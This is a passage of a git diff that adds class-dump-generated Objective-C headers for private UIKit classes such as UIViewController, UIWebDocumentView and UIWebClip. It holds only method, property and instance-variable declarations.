+-(void)_stopZoomFromEvent:(GSEventRef)event; +-(void)rotateToDegrees:(float)degrees; +-(void)_rotateToDegrees:(float)degrees duration:(float)duration event:(GSEventRef)event; +-(void)_setRotationAnimationProgress:(id)progress; +-(BOOL)_canStartRotationFromEvent:(GSEventRef)event; +-(BOOL)_startRotationFromEvent:(GSEventRef)event; +-(void)_rotateFromEvent:(GSEventRef)event; +-(void)_stopRotationFromEvent:(GSEventRef)event; +-(BOOL)canHandleGestures; +-(void)setGestureDelegate:(id)delegate; +-(id)gestureDelegate; +-(void)setEnabledGestures:(int)gestures; +-(int)enabledGestures; +-(void)setValue:(id)value forGestureAttribute:(int)gestureAttribute; +-(id)valueForGestureAttribute:(int)gestureAttribute; +-(void)setRotationDegrees:(float)degrees duration:(double)duration; +-(float)rotationDegrees; +-(void)_setZoomScale:(float)scale duration:(double)duration; +-(float)_zoomScale; +-(int)stateForGestureType:(int)gestureType; +-(void)_resetZoomingWithEvent:(GSEventRef)event; +-(void)gestureStarted:(GSEventRef)started; +-(void)gestureChanged:(GSEventRef)changed; +-(void)gestureEnded:(GSEventRef)ended; +@end + +@interface UIView (UIAutocorrectInlinePrompt) +-(void)reduceWidth:(float)width; +@end + +@interface UIView (UITouchInternalCompatibility) +-(id)_syntheticTouch; +-(id)_syntheticUIEventWithGSEvent:(GSEventRef)gsevent touchPhase:(int)phase; +@end + +@interface UIView (UIWebDocumentViewEventHandling) +-(BOOL)needsWebDocumentViewEventsDirectly; +@end + +@interface UIView (UITextEffectsOrdering) +-(int)textEffectsVisibilityLevel; +-(int)compareTextEffectsOrdering:(id)ordering; +@end + +@interface UIView (UIKitAccessibilityInterfaceBuilderSupport) +-(BOOL)isAccessibilityElementByDefault; +-(BOOL)isElementAccessibilityExposedToInterfaceBuilder; +@end + +@interface UIView (UIGestureSorting) +-(int)_depthFirstCompare:(id)compare; +@end + +@interface UIView (UIAutoscrollAdditions) +-(id)_enclosingScrollerIncludingSelf; +-(BOOL)_isScrollingEnabled; +@end + diff --git a/igor/headers/dumpedUIKit/UIViewAnimation.h b/igor/headers/dumpedUIKit/UIViewAnimation.h new file mode 100644 index 0000000..d3ee984 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIViewAnimation.h @@ -0,0 +1,41 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class NSIndexPath, UIView; + +__attribute__((visibility("hidden"))) +@interface UIViewAnimation : NSObject { +@private + UIView* _view; + NSIndexPath* _indexPath; + CGRect _endRect; + float _endAlpha; + float _startFraction; + float _endFraction; + int _curve; + BOOL _animateFromCurrentPosition; + BOOL _shouldDeleteAfterAnimation; + BOOL _editing; +} +@property(readonly, assign, nonatomic) UIView* view; +@property(readonly, assign, nonatomic) NSIndexPath* indexPath; +@property(readonly, assign, nonatomic) CGRect endRect; +@property(readonly, assign, nonatomic) float endAlpha; +@property(readonly, assign, nonatomic) float startFraction; +@property(readonly, assign, nonatomic) float endFraction; +@property(readonly, assign, nonatomic) int curve; +@property(readonly, assign, nonatomic) BOOL animateFromCurrentPosition; +@property(readonly, assign, nonatomic) BOOL shouldDeleteAfterAnimation; +@property(readonly, assign, nonatomic) BOOL editing; +-(id)initWithView:(id)view indexPath:(id)path endRect:(CGRect)rect endAlpha:(float)alpha startFraction:(float)fraction endFraction:(float)fraction6 curve:(int)curve animateFromCurrentPosition:(BOOL)currentPosition shouldDeleteAfterAnimation:(BOOL)animation editing:(BOOL)editing; +-(void)dealloc; +-(id)description; +@end + diff --git a/igor/headers/dumpedUIKit/UIViewAnimationContext.h b/igor/headers/dumpedUIKit/UIViewAnimationContext.h new file mode 100644 index 0000000..22a34b7 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIViewAnimationContext.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSArray; + +__attribute__((visibility("hidden"))) +@interface UIViewAnimationContext : NSObject { +@private + NSArray* _viewAnimations; + int _animationCount; +} +@property(retain, nonatomic) NSArray* viewAnimations; +@property(assign, nonatomic) int animationCount; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIViewAnimationState.h b/igor/headers/dumpedUIKit/UIViewAnimationState.h new file mode 100644 index 0000000..7ea2ccd --- /dev/null +++ b/igor/headers/dumpedUIKit/UIViewAnimationState.h @@ -0,0 +1,47 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + +@class UIView, NSString; + +__attribute__((visibility("hidden"))) +@interface UIViewAnimationState : NSObject { +@private + UIViewAnimationState* _nextState; + NSString* _animationID; + void* _context; + id _delegate; + double _duration; + double _delay; + double _frameInterval; + double _start; + int _curve; + float _repeatCount; + int _transition; + UIView* _transitionView; + SEL _willStartSelector; + SEL _didEndSelector; + int _didEndCount; + CGPoint _position; + unsigned _willStartSent : 1; + unsigned _useCurrentLayerState : 1; + unsigned _cacheTransition : 1; + unsigned _autoreverses : 1; + unsigned _roundsToInteger : 1; + unsigned _reserved : 27; +} ++(void)pushViewAnimationState:(id)state context:(void*)context; ++(void)popAnimationState; +-(void)dealloc; +-(void)setAnimationAttributes:(id)attributes; +-(void)animationDidStart:(id)animation; +-(void)sendDelegateAnimationDidStop:(id)sendDelegateAnimation finished:(BOOL)finished; +-(void)animationDidStop:(id)animation finished:(BOOL)finished; +@end + diff --git a/igor/headers/dumpedUIKit/UIViewController.h b/igor/headers/dumpedUIKit/UIViewController.h new file mode 100644 index 0000000..269c193 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIViewController.h @@ -0,0 +1,249 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSCoding.h" +#import "UIViewController.h" +#import "UIKit-Structs.h" +#import "UIResponder.h" + +@class NSString, UISearchDisplayController, UINavigationItem, UITabBarItem, NSBundle, UINavigationController, NSHashTable, UITabBarController, UITransitionView, UIView, UIBarButtonItem, NSArray; + +@interface UIViewController : UIResponder { +@private + UIView* _view; + UITabBarItem* _tabBarItem; + UINavigationItem* _navigationItem; + NSArray* _toolbarItems; + NSString* _title; + NSString* _nibName; + NSBundle* _nibBundle; + UIViewController* _parentViewController; + NSHashTable* _childViewControllers; + UIViewController* _childModalViewController; + UIView* _modalTransitionView; + UIResponder* _modalPreservedFirstResponder; + UIView* _dimmingView; + UIView* _presentationSuperview; + id _currentAction; + UIView* _savedHeaderSuperview; + UIView* _savedFooterSuperview; + UIBarButtonItem* _editButtonItem; + UISearchDisplayController* _searchDisplayController; + int _modalTransitionStyle; + int _lastKnownInterfaceOrientation; + struct { + unsigned appearState : 2; + unsigned isEditing : 1; + unsigned isPerformingModalTransition : 1; + unsigned hidesBottomBarWhenPushed : 1; + unsigned autoresizesArchivedViewToFullSize : 1; + unsigned viewLoadedFromControllerNib : 1; + unsigned isRootViewController : 1; + unsigned isSuspended : 1; + unsigned wasApplicationFrameAtSuspend : 1; + unsigned wantsFullScreenLayout : 1; + unsigned shouldUseFullScreenLayout : 1; + unsigned allowsAutorotation : 1; + unsigned searchControllerRetained : 1; + } _viewControllerFlags; +} +@property(copy, nonatomic) NSString* nibName; +@property(readonly, assign, nonatomic) UIView* savedHeaderSuperview; +@property(retain, nonatomic) NSBundle* nibBundle; +@property(copy, nonatomic) NSString* title; +@property(retain, nonatomic) NSHashTable* childViewControllers; +@property(retain, nonatomic) UIViewController* childModalViewController; +@property(assign, nonatomic) int modalTransitionStyle; +@property(retain, nonatomic) UISearchDisplayController* searchDisplayController; +@property(retain, nonatomic) UITransitionView* modalTransitionView; +@property(assign, nonatomic) int interfaceOrientation; +@property(assign, nonatomic) UIViewController* parentViewController; +@property(assign, nonatomic) BOOL wantsFullScreenLayout; +@property(readonly, assign, nonatomic) UIViewController* modalViewController; +@property(retain, nonatomic) UIView* view; ++(BOOL)doesOverrideViewControllerMethod:(SEL)method; ++(id)existingNibNameMatchingClassName:(id)name bundle:(id)bundle; ++(int)_keyboardDirectionForTransition:(int)transition isOrderingIn:(BOOL)anIn; ++(id)viewControllerForView:(id)view; ++(void)removeViewControllerForView:(id)view; ++(void)setViewController:(id)controller forView:(id)view; ++(void)_setApplicationSuspendPurgeDelay:(double)delay; ++(BOOL)_isViewSizeFullScreen:(id)screen inWindow:(id)window; ++(void)_forceLegacyModalViewControllers:(BOOL)controllers; ++(BOOL)_shouldUseLegacyModalViewControllers; ++(void)setCustomTransitionDuration:(double)duration; ++(double)customTransitionDuration; ++(double)durationForTransition:(int)transition; ++(BOOL)_doesOverrideLegacyShouldAutorotateMethod; +-(void)_doCommonSetup; +-(id)initWithNibName:(id)nibName bundle:(id)bundle; +-(id)init; +-(id)initWithCoder:(id)coder; +-(void)awakeFromNib; +-(void)_populateArchivedChildViewControllers:(id)controllers; +-(BOOL)_shouldPersistViewWhenCoding; +-(void)encodeWithCoder:(id)coder; +-(void)dealloc; +-(id)nextResponder; +-(void)_loadViewFromNibNamed:(id)nibNamed bundle:(id)bundle; +-(CGRect)_defaultInitialViewFrame; +-(float)_statusBarHeightForCurrentInterfaceOrientation; +-(void)loadView; +-(void)viewDidLoad; +-(void)forceUnloadView; +-(void)unloadView; +-(void)unloadViewIfReloadable; +-(void)unloadViewForced:(BOOL)forced; +-(void)viewDidUnload; +-(BOOL)isViewLoaded; +-(id)existingView; +-(id)_existingView; +-(id)contentScrollView; +-(void)_setExistingNavigationItem:(id)item; +-(id)_existingNavigationItem; +-(void)_setExistingTabBarItem:(id)item; +-(id)_existingTabBarItem; +-(void)window:(id)window willAnimateFromContentFrame:(CGRect)contentFrame toContentFrame:(CGRect)contentFrame3; +-(void)_updateLayoutForStatusBarAndInterfaceOrientation; +-(BOOL)autoresizesArchivedViewToFullSize; +-(void)setAutoresizesArchivedViewToFullSize:(BOOL)fullSize; +-(void)autoresizeArchivedView; +-(void)updateTitleForViewController:(id)viewController; +-(void)addChildViewController:(id)controller; +-(void)removeChildViewController:(id)controller; +-(id)_nonModalParentViewController; +-(id)_ancestorViewControllerOfClass:(Class)aClass allowModalParent:(BOOL)parent; +-(BOOL)_isAppearingOrAppeared; +-(int)_appearState; +-(BOOL)_hasAppeared; +-(void)viewWillAppear:(BOOL)view; +-(void)viewDidAppear:(BOOL)view; +-(void)viewWillDisappear:(BOOL)view; +-(void)viewDidDisappear:(BOOL)view; +-(BOOL)_tryBecomeRootViewControllerInWindow:(id)window; +-(void)_resignRootViewController; +-(void)viewWillMoveToWindow:(id)view; +-(void)viewDidMoveToWindow:(id)view shouldAppearOrDisappear:(BOOL)disappear; +-(void)_didReceiveMemoryWarning:(id)warning; +-(void)didReceiveMemoryWarning; +-(BOOL)_canReloadView; +-(void)purgeMemoryForReason:(int)reason; +-(BOOL)_isViewInWindowWithoutParentViewController; +-(id)_visibleView; +-(void)_purgeForApplicationSuspend; +-(void)applicationWillSuspend; +-(void)applicationDidResume; +-(BOOL)_shouldUseFullScreenLayout; +-(BOOL)_shouldChildViewControllerUseFullScreenLayout:(id)layout; +-(BOOL)_shouldUseFullScreenLayoutInWindow:(id)window parentViewController:(id)controller; +-(BOOL)_reallyWantsFullScreenLayout; +-(BOOL)isPerformingModalTransition; +-(id)presentedViewController; +-(id)currentAction; +-(void)_overlayPresentAnimationDidStop:(id)_overlayPresentAnimation finished:(id)finished context:(id)context; +-(void)presentModalViewController:(id)controller fromBarButtonItem:(id)barButtonItem animated:(BOOL)animated; +-(void)dismissModalOverlayViewController; +-(void)dimmingViewWasTapped:(id)tapped; +-(void)_dismissModalOverlayAnimationDidStop:(id)_dismissModalOverlayAnimation finished:(id)finished context:(id)context; +-(void)_legacyPresentModalViewController:(id)controller withTransition:(int)transition; +-(int)_preferredInterfaceOrientationGivenCurrentOrientation:(int)orientation; +-(void)presentModalViewController:(id)controller withTransition:(int)transition; +-(int)_transitionForModalTransitionStyle:(int)modalTransitionStyle appearing:(BOOL)appearing; +-(void)presentModalViewController:(id)controller animated:(BOOL)animated; +-(BOOL)_tryRecursivelyPresentModalViewController:(id)controller withTransition:(int)transition; +-(void)_legacyDismissModalViewController:(id)controller withTransition:(int)transition; +-(void)dismissModalViewControllerWithTransition:(int)transition; +-(void)dismissModalViewControllerAnimated:(BOOL)animated; +-(void)transitionViewDidComplete:(id)transitionView fromView:(id)view toView:(id)view3; +-(void)_didFinishPresentModalTransition; +-(void)_legacyModalPresentTransitionDidComplete; +-(void)_didFinishDismissModalTransition; +-(void)_legacyModalDismissTransitionDidComplete; +-(double)durationForTransition:(int)transition; +-(id)viewControllerForRotation; +-(void)_beginDisablingInterfaceAutorotation; +-(void)_endDisablingInterfaceAutorotation; +-(BOOL)_isInterfaceAutorotationDisabled; +-(void)_updateInterfaceOrientationAnimated:(BOOL)animated; +-(BOOL)window:(id)window shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation; +-(BOOL)_allowsAutorotation; +-(void)_setAllowsAutorotation:(BOOL)autorotation; +-(BOOL)_isSupportedInterfaceOrientation:(int)orientation; +-(BOOL)shouldAutorotateToInterfaceOrientation:(int)interfaceOrientation; +-(id)rotatingHeaderViewForWindow:(id)window; +-(id)rotatingHeaderView; +-(id)rotatingContentViewForWindow:(id)window; +-(id)rotatingFooterViewForWindow:(id)window; +-(id)rotatingFooterView; +-(int)_lastKnownInterfaceOrientation; +-(void)_setInterfaceOrientationOnModalRecursively:(int)recursively; +-(CGPoint)_centerForOrientation:(int)orientation; +-(CGRect)_boundsForOrientation:(int)orientation; +-(void)window:(id)window willRotateToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)willRotateToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(BOOL)shouldWindowUseOnePartInterfaceRotationAnimation:(id)animation; +-(BOOL)_shouldUseOnePartRotation; +-(void)getRotationContentSettings:(XXStruct_TF$i3B*)settings forWindow:(id)window; +-(void)_getRotationContentSettings:(XXStruct_TF$i3B*)settings; +-(void)window:(id)window willAnimateRotationToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)willAnimateRotationToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)window:(id)window willAnimateFirstHalfOfRotationToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)willAnimateFirstHalfOfRotationToInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)window:(id)window didAnimateFirstHalfOfRotationToInterfaceOrientation:(int)interfaceOrientation; +-(void)didAnimateFirstHalfOfRotationToInterfaceOrientation:(int)interfaceOrientation; +-(void)window:(id)window willAnimateSecondHalfOfRotationFromInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)willAnimateSecondHalfOfRotationFromInterfaceOrientation:(int)interfaceOrientation duration:(double)duration; +-(void)window:(id)window didRotateFromInterfaceOrientation:(int)interfaceOrientation; +-(void)didRotateFromInterfaceOrientation:(int)interfaceOrientation; +-(id)defaultPNGName; +-(void)_setSearchDisplayController:(id)controller retain:(BOOL)retain; +-(void)_setSearchDisplayControllerUnretained:(id)unretained; +@end + +@interface UIViewController (UIViewControllerClassDumpWarning) +-(void)attentionClassDumpUser:(id)user yesItsUsAgain:(id)again althoughSwizzlingAndOverridingPrivateMethodsIsFun:(id)fun itWasntMuchFunWhenYourAppStoppedWorking:(id)working pleaseRefrainFromDoingSoInTheFutureOkayThanksBye:(id)theFutureOkayThanksBye; +@end + +@interface UIViewController (UINavigationControllerContextualToolbar) +-(id)toolbarItems; +-(void)setToolbarItems:(id)items; +-(void)setToolbarItems:(id)items animated:(BOOL)animated; +-(void)_updateToolbarItemsFromViewController:(id)viewController animated:(BOOL)animated; +@end + +@interface UIViewController (UINavigationControllerItem) +@property(readonly, retain, nonatomic) UINavigationController* navigationController; +@property(assign, nonatomic) BOOL hidesBottomBarWhenPushed; +@property(readonly, retain, nonatomic) UINavigationItem* navigationItem; +-(id)editButtonItem; +-(BOOL)isEditing; +-(void)setEditing:(BOOL)editing; +-(void)setEditing:(BOOL)editing animated:(BOOL)animated; +-(void)_toggleEditing:(id)editing; +-(BOOL)canHandleSnapbackIdentifier:(id)identifier animated:(BOOL)animated; +@end + +@interface UIViewController (UITabBarControllerItem) +@property(readonly, retain, nonatomic) UITabBarController* tabBarController; +@property(retain, nonatomic) UITabBarItem* tabBarItem; +-(void)updateTabBarItemForViewController:(id)viewController; +-(id)_moreListTitle; +-(id)moreListImage; +-(id)moreListSelectedImage; +-(id)moreListTableCell; +@end + +@interface UIViewController (PLImagePickerViewControllerInterface) +-(void)_setUseTelephonyUI:(BOOL)ui; +-(void)_setImagePickerMediaTypes:(id)types; +@end + +@interface UIViewController (UIImagePickerControllerAdditions) +-(BOOL)_displaysFullScreen; +-(int)_imagePickerStatusBarMode; +@end + diff --git a/igor/headers/dumpedUIKit/UIViewControllerAction.h b/igor/headers/dumpedUIKit/UIViewControllerAction.h new file mode 100644 index 0000000..670a31d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIViewControllerAction.h @@ -0,0 +1,25 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import + +@class NSString, UIViewController; + +__attribute__((visibility("hidden"))) +@interface UIViewControllerAction : NSObject { +@private + UIViewController* _viewController; + NSString* _name; + BOOL _animated; +} +@property(assign, nonatomic) UIViewController* viewController; +@property(retain, nonatomic) NSString* name; +@property(assign, nonatomic) BOOL animated; +-(id)initWithViewController:(id)viewController name:(id)name animated:(BOOL)animated; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIViewControllerWrapperView.h b/igor/headers/dumpedUIKit/UIViewControllerWrapperView.h new file mode 100644 index 0000000..e19189f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIViewControllerWrapperView.h @@ -0,0 +1,22 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + + +__attribute__((visibility("hidden"))) +@interface UIViewControllerWrapperView : UIView { +} ++(id)wrapperViewForView:(id)view frame:(CGRect)frame; ++(id)existingWrapperViewForView:(id)view; +-(void)setFrame:(CGRect)frame; +-(void)setBounds:(CGRect)bounds; +-(void)unwrapView; +-(void)unwrapView:(id)view; +@end + diff --git a/igor/headers/dumpedUIKit/UIViewHeartbeat.h b/igor/headers/dumpedUIKit/UIViewHeartbeat.h new file mode 100644 index 0000000..f4b66fb --- /dev/null +++ b/igor/headers/dumpedUIKit/UIViewHeartbeat.h @@ -0,0 +1,24 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class UIView; + +__attribute__((visibility("hidden"))) +@interface UIViewHeartbeat : NSObject { +@private + UIView* _view; + SEL _selector; + GSHeartbeatRef _heartbeat; +} ++(void)startHeartbeatWithView:(id)view selector:(SEL)selector inRunLoopMode:(id)runLoopMode; ++(void)stopHeartbeatWithView:(id)view selector:(SEL)selector; +-(void)dealloc; +@end + diff --git a/igor/headers/dumpedUIKit/UIViewTapInfo.h b/igor/headers/dumpedUIKit/UIViewTapInfo.h new file mode 100644 index 0000000..d5304a4 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIViewTapInfo.h @@ -0,0 +1,49 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import +#import "UIKit-Structs.h" + +@class UIView; + +__attribute__((visibility("hidden"))) +@interface UIViewTapInfo : NSObject { +@private + id _delegate; + UIView* _view; + int _tapDownCount; + int _fingerCount; + float _multiTapDelay; + float _rejectAsTapThrehold; + float _viewTouchPauseThreshold; + CGPoint _startPosition; + double _startTime; + struct { + unsigned shouldSendTouchPauseUp : 1; + unsigned delegateViewHandleTapWithCountEvent : 1; + unsigned delegateViewHandleTapWithCountEventFingerCount : 1; + unsigned delegateViewHandleTouchPauseIsDown : 1; + unsigned reserved : 28; + } _tapInfoFlags; +} +-(id)initWithDelegate:(id)delegate view:(id)view; +-(void)releaseAndClearWeakRefs; +-(void)clearTapState; +-(void)setDelegate:(id)delegate; +-(void)_handleTapWithCount:(int)count event:(GSEventRef)event; +-(void)handleSingleTapEvent:(GSEventRef)event; +-(void)handleDoubleTapEvent:(GSEventRef)event; +-(void)scheduleSingleTapHandlerForEvent:(GSEventRef)event; +-(void)_sendTouchPauseDownIfNecessary; +-(void)_sendTouchPauseUpIfNecessary; +-(void)mouseDown:(GSEventRef)down; +-(BOOL)_eventLocationConsideredMovement:(GSEventRef)movement; +-(void)mouseDragged:(GSEventRef)dragged; +-(void)mouseUp:(GSEventRef)up; +-(BOOL)cancelMouseTracking; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebClip.h b/igor/headers/dumpedUIKit/UIWebClip.h new file mode 100644 index 0000000..79cd37a --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebClip.h @@ -0,0 +1,79 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import + +@class NSString, UIImage, NSURL, NSMutableData, NSURLConnection; + +@interface UIWebClip : NSObject { + NSString* identifier; + NSURL* pageURL; + NSURL* precomposedIconURL; + NSURL* iconURL; + NSURL* startupImageURL; + NSString* title; + float scale; + CGPoint scrollPoint; + BOOL fullScreen; + BOOL removalDisallowed; + int statusBarStyle; + UIImage* iconImage; + UIImage* startupImage; + id delegate; +@private + NSMutableData* _customIconData; + NSURLConnection* _iconConnection; + NSMutableData* _customStartupImageData; + NSURLConnection* _startupImageConnection; +} +@property(copy) NSString* identifier; +@property(retain) NSURL* pageURL; +@property(retain) NSURL* precomposedIconURL; +@property(retain) NSURL* iconURL; +@property(retain) NSURL* startupImageURL; +@property(copy) NSString* title; +@property(assign) float scale; +@property(assign) CGPoint scrollPoint; +@property(assign) BOOL fullScreen; +@property(assign) BOOL removalDisallowed; +@property(assign) int statusBarStyle; +@property(retain) UIImage* iconImage; +@property(retain) UIImage* startupImage; +@property(assign) id delegate; +@property(readonly, assign) NSString* iconImagePath; ++(id)webClipWithIdentifier:(id)identifier; ++(id)webClipWithURL:(id)url; ++(id)webClips; ++(id)_contentForMetaName:(id)metaName inWebDocumentView:(id)webDocumentView; ++(int)webClipStatusBarStyleForWebDocumentView:(id)webDocumentView; ++(BOOL)webClipFullScreenValueForWebDocumentView:(id)webDocumentView; ++(id)webClipsDirectoryPath; ++(id)pathForWebClipWithIdentifier:(id)identifier; ++(id)urlForWebClipWithIdentifier:(id)identifier; +-(void)_readPropertiesFromBundle:(CFBundleRef)bundle; +-(id)_info; +-(BOOL)_writeImage:(id)image toDiskWithFileName:(id)fileName; +-(BOOL)updateOnDisk; +-(BOOL)createOnDisk; +-(BOOL)removeFromDisk; +-(id)_initWithIdentifier:(id)identifier; +-(id)_bundleResourceWithName:(id)name; +-(id)_bundleImageWithName:(id)name; +-(void)dealloc; +-(void)stopLoadingCustomIcon; +-(void)stopLoadingStartupImage; +-(void)connection:(id)connection didReceiveData:(id)data; +-(id)_displayIdentifierString; +-(void)updateCustomMediaLocationsFromWebDocumentView:(id)webDocumentView; +-(void)connectionDidFinishLoading:(id)connection; +-(void)connection:(id)connection didFailWithError:(id)error; +-(void)connection:(id)connection didReceiveResponse:(id)response; +-(void)requestCustomIconUpdateWithDelegate:(id)delegate; +-(void)requestCustomStartupImageUpdateWithDelegate:(id)delegate; +@end + diff --git a/igor/headers/dumpedUIKit/UIWebDocumentView.h b/igor/headers/dumpedUIKit/UIWebDocumentView.h new file mode 100644 index 0000000..c888d29 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIWebDocumentView.h @@ -0,0 +1,612 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIActionSheetDelegate.h" +#import "UIAutoscrollContainer.h" +#import "UIKeyboardInput.h" +#import "UIModalViewDelegate.h" +#import "BrowserDocumentController.h" +#import "UITextSelectingContent.h" +#import "UIWebDocumentView.h" +#import "UIWebTiledView.h" + +@class UIWebSelectionAssistant, UITextInputTraits, WebView, DOMNode, UIInformalDelegate, NSMutableArray, DOMHTMLElement, NSTimer, UITextInteractionAssistant, UITextSelectionView, WebViewReachabilityObserver, UIColor, UIWebFormDelegate, WebThreadSafeUndoManager, CALayer, UIAutoscroll, WebPDFView, UIActionSheet; +@protocol UIFormAssistantDelegate; + +@interface UIWebDocumentView : UIWebTiledView { + int _retainCount; + WKWindow* _wkWindow; + WebView* _webView; + WebViewReachabilityObserver* _reachabilityObserver; + id m_parentTextView; + id _delegate; + id _textSuggestionDelegate; + id _editingDelegate; + float _doubleTapDelay; + CGRect _doubleTapRect; + CGRect _mainDocumentDoubleTapRect; + CGPoint _scrollPoint; + CGPoint _doubleTapStartPosition; + double _doubleTapStartTime; + CGSize _pendingSize; + int _orientation; + DOMHTMLElement* _standaloneEditingElement; + CGPoint _mouseDownPoint; + double _mouseDownTime; + UIAutoscroll* _autoscroll; + CFDictionaryRef _plugInViews; + int m_selectionGranularity; + BOOL m_selectionGranularityIncreasing; + CALayer* _contentLayersHostingLayer; + UITextInputTraits* _traits; + struct { + NSMutableArray* all; + NSMutableArray* html; + NSMutableArray* javascript; + NSMutableArray* css; + NSMutableArray* error; + NSMutableArray* warning; + NSMutableArray* tip; + NSMutableArray* log; + } _messages; + struct { + unsigned isEdited : 1; + unsigned allowsUnapprovedFocus : 1; + unsigned isAutoFilling : 1; + id delegate; + UIWebFormDelegate* formDelegate; + } _forms; + struct { + NSTimer* timer; + CGPoint location; + BOOL isBlocked; + BOOL isCancelled; + BOOL isOnWebThread; + BOOL isDisplayingHighlight; + BOOL attemptedClick; + BOOL isGestureScrolling; + CGPoint gestureScrollPoint; + CGPoint gestureCurrentPoint; + BOOL hasAttemptedGestureScrolling; + UIView* candidate; + BOOL forwardingGuard; + SEL mouseUpForwarder; + SEL mouseDraggedForwarder; + DOMNode* element; + BOOL defersCallbacksState; + UIInformalDelegate* delegate; + int interactionSheetType; + UIActionSheet* interactionSheet; + BOOL allowsImageSheet; + BOOL allowsDataDetectorsSheet; + struct { + BOOL active; + BOOL defaultPrevented; + NSMutableArray* regions; + float originalGestureDistance; + float originalGestureAngle; + } directEvents; + } _interaction; + struct { + WebPDFView* view; + NSTimer* timer; + } _pdf; + struct { + CGSize size; + float initialScale; + float minimumScale; + float maximumScale; + BOOL allowsUserScaling; + } _viewportConfigurations[6]; + CGSize _minimumSize; + int _documentType; + float _documentScale; + CGRect _documentBounds; + int _enabledGestures; + unsigned _customConfigurations; + unsigned _mouseDownCount; + unsigned _dataDetectorTypes; + unsigned _webCoreNeedsSetNeedsDisplay : 1; + unsigned _webCoreNeedsDraw : 1; + unsigned _ignoresFocusingMouse : 1; + unsigned _ignoresKeyEvents : 1; + unsigned _autoresizes : 1; + unsigned _scalesToFit : 1; + unsigned _hasCustomScale : 1; + unsigned _userScrolled : 1; + unsigned _pageNeedsReset : 1; + unsigned _hasScrollPoint : 1; + unsigned _setNeedsDisplayWasForced : 1; + unsigned _gesturesDisabled : 1; + unsigned _doubleTapRectIsReplaced : 1; + unsigned _standaloneEditableView : 1; + unsigned _widgetEditingView : 1; + unsigned _mouseDragged : 1; + unsigned _mouseReentrancyGuard : 1; + unsigned _isShowingFullScreenPlugIn : 1; + unsigned _isSettingRedrawFrame : 1; + unsigned _needsScrollNotifications : 1; + unsigned _loadsSynchronously : 1; + unsigned _mouseDown : 1; + unsigned _usePreTimberlineTransparencyBehavior : 1; + unsigned _geolocationDialogAllowed : 1; + unsigned _usingMinimalTilesDuringLoading : 1; + unsigned _sheetsCount : 2; + unsigned _didFirstVisuallyNonEmptyLayout : 1; + unsigned _loadInProgress : 1; + unsigned _uiwdvIsResigningFirstResponder : 1; + WebThreadSafeUndoManager* _undoManager; + UIWebSelectionAssistant* _webSelectionAssistant; + UITextInteractionAssistant* _textSelectionAssistant; + UITextSelectionView* _textSelectionView; + UIEdgeInsets _caretInsets; +} +@property(assign, nonatomic) int autocapitalizationType; +@property(assign, nonatomic) int autocorrectionType; +@property(assign, nonatomic) int keyboardType; +@property(assign, nonatomic) int keyboardAppearance; +@property(assign, nonatomic) int returnKeyType; +@property(assign, nonatomic) BOOL enablesReturnKeyAutomatically; +@property(assign, nonatomic, getter=isSecureTextEntry) BOOL secureTextEntry; +@property(assign, nonatomic) CFCharacterSetRef textTrimmingSet; +@property(retain, nonatomic) UIColor* insertionPointColor; +@property(assign, nonatomic) unsigned insertionPointWidth; +@property(assign, nonatomic) int textLoupeVisibility; +@property(assign, nonatomic) int textSelectionBehavior; +@property(assign, nonatomic) id 